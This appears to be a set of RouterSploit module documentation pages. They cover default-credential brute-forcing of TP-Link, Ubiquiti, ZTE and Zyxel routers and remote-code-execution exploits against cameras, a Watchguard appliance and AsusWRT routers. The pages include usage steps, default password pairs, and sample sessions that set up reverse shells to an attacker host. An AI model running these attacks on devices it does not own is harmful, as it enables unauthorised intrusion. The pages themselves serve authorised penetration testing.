Modules Creds Routers Tplink Telnet Default Creds (`docs/modules/creds/routers/tplink/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against TP-Link Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/tplink/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/tplink/telnet_default_creds
rsf (TP-Link Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (TP-Link Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Ubiquiti Ftp Default Creds (`docs/modules/creds/routers/ubiquiti/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Ubiquiti Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ubiquiti/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ubiquiti/ftp_default_creds
rsf (Ubiquiti Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Ubiquiti Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Ubiquiti Ssh Default Creds (`docs/modules/creds/routers/ubiquiti/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Ubiquiti Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ubiquiti/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ubiquiti/ssh_default_creds
rsf (Ubiquiti Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Ubiquiti Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Ubiquiti Telnet Default Creds (`docs/modules/creds/routers/ubiquiti/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Ubiquiti Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/ubiquiti/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/ubiquiti/telnet_default_creds
rsf (Ubiquiti Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Ubiquiti Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Zte Ftp Default Creds (`docs/modules/creds/routers/zte/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against ZTE Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zte/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zte/ftp_default_creds
rsf (ZTE Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (ZTE Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Zte Ssh Default Creds (`docs/modules/creds/routers/zte/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against ZTE Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zte/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zte/ssh_default_creds
rsf (ZTE Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (ZTE Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Zte Telnet Default Creds (`docs/modules/creds/routers/zte/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against ZTE Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zte/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zte/telnet_default_creds
rsf (ZTE Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (ZTE Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Creds Routers Zyxel Ftp Default Creds (`docs/modules/creds/routers/zyxel/ftp_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Zyxel Router FTP service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zyxel/ftp_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zyxel/ftp_default_creds
rsf (Zyxel Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Zyxel Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin

Modules Creds Routers Zyxel Ssh Default Creds (`docs/modules/creds/routers/zyxel/ssh_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Zyxel Router SSH service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zyxel/ssh_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zyxel/ssh_default_creds
rsf (Zyxel Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Zyxel Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin

Modules Creds Routers Zyxel Telnet Default Creds (`docs/modules/creds/routers/zyxel/telnet_default_creds.md`)

Description

Module performs dictionary attack with default credentials against Zyxel Router Telnet service.
If valid credentials are found, they are displayed to the user.

Verification Steps

Start ./rsf.py
Do: use creds/routers/zyxel/telnet_default_creds
Do: set target [TargetIP]
Do: run
If valid credentials are found, they are displayed to the user.

Scenarios

text

rsf > use creds/routers/zyxel/telnet_default_creds
rsf (Zyxel Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Zyxel Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

Modules Exploits Cameras Acti Acm 5611 Rce (`docs/modules/exploits/cameras/acti/acm_5611_rce.md`)

Description

Module exploits ACTi ACM-5611 Video Camera Remote Command Execution Exploit.

Verification Steps

Start ./rsf.py
use exploits/cameras/acti/acm_5611_rce
set target 192.168.1.1
run
If device is vulnerable user credentials are returned.

Scenarios

text

rsf > use exploits/cameras/acti/acm_5611_rce
rsf (JACTi ACM-5611 Video Camera RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (JACTi ACM-5611 Video Camera RCE) > run
[*] Running module...
[+] Target seems to be vulnerable

---

### Modules Exploits Cameras Geuterbruck Efd 2250 (`docs/modules/exploits/cameras/geuterbruck/efd_2250.md`)

## Description

This module exploits a an arbitrary command execution vulnerability. The vulnerability exists in the /uapi-cgi/viewer/simple_loglistjs.cgi page and allows an anonymous user to execute arbitrary commands with root privileges.

## Verification Steps

  1. Start ./rsf.py
  2. use exploits/cameras/geuterbruck/efd_2250
  3. set target 192.168.1.1
  5. run
  6. If device is vulnerable you will receive reverse shell.

## Scenarios

rsf > use exploits/cameras/geuterbruck/efd_2250
rsf (Geutebruck G-Cam/EFD-2250 RCE) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Geutebruck G-Cam/EFD-2250 RCE) > run
[*] Running module exploits/cameras/geuterbruck/efd_2250...
[+] Target seams 192.168.1.1:80 is vulnerable

text

---

### Modules Exploits Cameras Jovision Jovision Credentials Disclosure (`docs/modules/exploits/cameras/jovision/jovision_credentials_disclosure.md`)

## Description

Module exploits a CGI script that doesn't validate whether the client is logged in on some jovision cameras to return credentials.

## Verification Steps


  1. Start ./rsf.py
  2. use exploits/cameras/jovision/jovision_credentials_disclosure
  3. set target 192.168.1.1
  4. run
  5. If device is vulnerable user credentials are returned.

## Scenarios

rsf > use exploits/cameras/jovision/jovision_credentials_disclosure
rsf (Jovision camera credential disclosure) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Jovision camera credential disclosure) > run
[*] Running module...
[+] Target seems to be vulnerable
[+] Accounts found:

Description Username Password Administrator

Admin account admin ADMIN Yes
Guest account guest 1234 No

text

---

### Modules Exploits Cameras Multi Cctv Dvr Rce (`docs/modules/exploits/cameras/multi/cctv_dvr_rce.md`)

## Description

Remote Code Execution in CCTV-DVR affecting over 70 different vendors

## Verification Steps


  1. Start ./rsf.py
  2. use exploits/cameras/multi/cctv_dvr_rce
  3. set target 192.168.1.1
  4. set connback 192.168.1.100:5555
  5. run
  6. If device is vulnerable you will receive reverse shell.

## Scenarios

rsf > use exploits/cameras/multi/cctv_dvr_rce
rsf (Multiple CCTV-DVR Vendors) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Multiple CCTV-DVR Vendors) > set connback 192.168.1.100:5555
[+] connback => 192.168.1.100:5555
rsf (Multiple CCTV-DVR Vendors) > run
[] Running module...
[+] Target is vulnerable
[] Exploit payload sent!
[+] If nothing went wrong we should be getting a reversed remote shell at 192.168.1.100:5555

text

---

### Modules Exploits Misc Watchguard Xcs 9 Rce (`docs/modules/exploits/misc/watchguard/xcs_9_rce.md`)

## Description

This module exploits two separate vulnerabilities found in the Watchguard XCS virtual appliance to gain command execution. By exploiting an unauthenticated SQL injection, a remote attacker may insert a valid web user into the appliance database, and get access to the web interface. On the other hand, a vulnerability in the web interface allows the attacker to inject operating system commands as the "nobody" user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use exploits/misc/watchguard/xcs_9_rce`
  3. Do: `set target[TargetIP]`
  4. Do: `run`
  5. If router is vulnerable, it should be possible to execute commands on operating system level.

  6. Do: `set payload reverse_tcp`
  7. Do: `set lhost [AttackerIP]`
  8. Do: `run`
  9. Payload is sent to device and executed providing attacker with the command shell.


## Scenarios

rsf > use exploits/misc/watchguard/xcs_9_rce
rsf (Watchguard XCS Remote Command Execution) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Watchguard XCS Remote Command Execution) > run
[] Running module exploits/misc/watchguard/xcs_9_rce...
[] Getting a valid session...

[+] Welcome to cmd. Commands are sent to the target via the execute method.
[*] For further exploitation use 'show payloads' and 'set payload ' commands.

cmd > show payloads
[*] Available payloads:

Payload Name Description

bind_tcp x64 Bind TCP Creates interactive tcp bind shell for x64 architecture.
reverse_tcp x64 Reverse TCP Creates interactive tcp reverse shell for x64 architecture.

cmd > set payload reverse_tcp
cmd (x64 Reverse TCP) > show options

Payload Options:

Name Current settings Description

lhost Connect-back IP address
lport 5555 Connect-back TCP Port
encoder Encoder

cmd (x64 Reverse TCP) > set lhost 192.168.1.115
lhost => 192.168.1.115
cmd (x64 Reverse TCP) > run
[] Using wget method
[] Using wget to download binary
[] Executing payload on the device
[] Waiting for reverse shell...
[*] Connection from 192.168.1.1:56981
[+] Enjoy your shell

text

---

### Modules Exploits Routers Asus Asuswrt Lan Rce (`docs/modules/exploits/routers/asus/asuswrt_lan_rce.md`)

## Description

Module exploits multiple vulnerabilities to achieve remote code execution in AsusWRT firmware. The HTTP server contains vulnerability that allows bypass authentication via POST requests. Combining this with another vulnerability in the VPN configuration upload functionality allows setting NVRAM configuration variables directly from the POST request. By setting nvram variable ateCommand_flag to 1 it is possible to enable special command mode which allows executing commands via infosvr server listening on port UDP 9999. Module was tested on Asus RT-AC68U 3.0.0.4.380_7378.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use exploits/routers/asus/asuswrt_lan_rce`
  3. Do: `set target[TargetIP]`
  4. Do: `run`
  5. If router is vulnerable, it should be possible to execute commands on operating system level.

  6. Do: `set payload reverse_tcp`
  7. Do: `set lhost [AttackerIP]`
  8. Do: `run`
  9. Payload is sent to device and executed providing attacker with the command shell.


## Scenarios